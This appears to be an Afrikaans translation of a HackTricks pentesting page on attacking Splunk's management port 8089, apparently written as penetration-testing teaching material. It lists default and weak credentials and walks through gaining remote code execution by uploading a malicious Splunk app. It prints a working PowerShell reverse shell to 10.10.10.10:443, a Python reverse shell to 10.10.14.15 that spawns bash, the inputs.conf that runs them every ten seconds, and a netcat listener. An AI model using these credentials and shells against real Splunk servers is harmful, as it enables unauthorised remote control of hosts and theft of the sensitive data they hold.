8.6 KiB
8089 - Pentesting Splunkd
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.
Basiese Inligting
Splunk is 'n loganalitiese instrument wat 'n kritieke rol speel in die versameling, analise en visualisering van data. Alhoewel sy oorspronklike doel nie was om as 'n SIEM (Security Information and Event Management) instrument te dien nie, het dit gewildheid verwerf in die gebied van sekuriteitsmonitering en sakelike analise.
Splunk-implementasies word dikwels gebruik om sensitiewe data te stoor en kan dien as 'n waardevolle bron van inligting vir potensiële aanvallers as hulle die stelsel kan kompromitteer. Verstekpoort: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Die Splunk-webbediener loop standaard op poort 8000. {% endhint %}
Opname
Gratis weergawe
Die Splunk Enterprise-proef omskep na 'n gratis weergawe na 60 dae, wat geen outentifikasie vereis nie. Dit is nie ongewoon vir stelseladministrateurs om 'n proefweergawe van Splunk te installeer om dit uit te toets, wat vervolgens vergeet word. Dit sal outomaties omskep na die gratis weergawe wat geen vorm van outentifikasie het nie, wat 'n sekuriteitslek in die omgewing inbring. Sommige organisasies mag kies vir die gratis weergawe as gevolg van begrotingsbeperkings, sonder om ten volle te besef wat die implikasies is van geen gebruiker-/rolbestuur nie.
Standaardlegitimasie
Op ouer weergawes van Splunk is die standaardlegitimasie admin:changeme
, wat gerieflik op die aanmeldingsbladsy vertoon word.
Die nuutste weergawe van Splunk stel egter legitimasie in tydens die installasieproses. As die standaardlegitimasie nie werk nie, is dit die moeite werd om te kyk vir algemene swak wagwoorde soos admin
, Welcome
, Welcome1
, Password123
, ens.
Verkry inligting
Sodra jy aangemeld is by Splunk, kan jy data deursoek, verslae uitvoer, dashboard skep, toepassings installeer vanaf die Splunkbase-biblioteek, en aangepaste toepassings installeer.
Jy kan ook kode uitvoer: Splunk het verskeie maniere om kode uit te voer, soos bedienerkant Django-toepassings, REST-eindpunte, geskrewe insette en waarskuwingsskripte. 'n Algemene metode om afstandsbeheerkode-uitvoering op 'n Splunk-bediener te verkry, is deur die gebruik van 'n geskrewe inset.
Verder kan Splunk op Windows- of Linux-gashere geïnstalleer word, en geskrewe insette kan geskep word om Bash-, PowerShell- of Batch-skripte uit te voer.
Shodan
Splunk-bou
RCE
Skep aangepaste toepassing
'n Aangepaste toepassing kan Python-, Batch-, Bash- of PowerShell-skripte uitvoer.
Let daarop dat Splunk met Python geïnstalleer kom, sodat jy selfs op Windows-stelsels python-kode kan uitvoer.
Jy kan hierdie Splunk-pakket gebruik om ons te help. Die bin
-gids in hierdie bewaarplek het voorbeelde vir Python en PowerShell. Kom ons loop hierdie stap-vir-stap deur.
Om dit te bereik, moet ons eers 'n aangepaste Splunk-toepassing skep met die volgende gidsstruktuur:
tree splunk_shell/
splunk_shell/
├── bin
└── default
Die bin
gids sal enige skripte wat ons beoog om uit te voer (in hierdie geval, 'n PowerShell omgekeerde dop) bevat, en die verstek gids sal ons inputs.conf
lêer hê. Ons omgekeerde dop sal 'n PowerShell een-liner wees:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
Die inputs.conf lêer vertel Splunk watter skrips om uit te voer en enige ander voorwaardes. Hier stel ons die app as geaktiveer in en vertel Splunk om die skrips elke 10 sekondes uit te voer. Die interval is altyd in sekondes, en die inset (skrips) sal slegs uitgevoer word as hierdie instelling teenwoordig is.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Ons benodig die .bat
lêer wat uitgevoer sal word wanneer die toepassing geïmplementeer word en die PowerShell een-liner uitvoer.
Die volgende stap is om Installeer toepassing van lêer
te kies en die toepassing op te laai.
Voordat ons die skadelike aangepaste toepassing oplaai, laat ons 'n luisteraar begin deur gebruik te maak van Netcat of socat.
sudo nc -lnvp 443
listening on [any] 443 ...
Op die Upload app
bladsy, klik op deursoek
, kies die tarball wat ons vroeër geskep het en klik op Upload
. Sodra ons die aansoek oplaai, ontvang ons 'n omgekeerde skul as die status van die aansoek outomaties oorgeskakel word na Enabled
.
Linux
As ons te doen gehad het met 'n Linux-gasheer, sou ons die rev.py
Python-skripsie moet wysig voordat ons die tarball skep en die aangepaste skadelike aansoek oplaai. Die res van die proses sou dieselfde wees, en ons sou 'n omgekeerde skulverbinding op ons Netcat luisteraar kry en aan die gang wees.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Privilege Escalation
In die volgende bladsy kan jy 'n verduideliking vind oor hoe hierdie diens misbruik kan word om voorregte te verhoog en volharding te verkry:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
Verwysings
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslagplekke.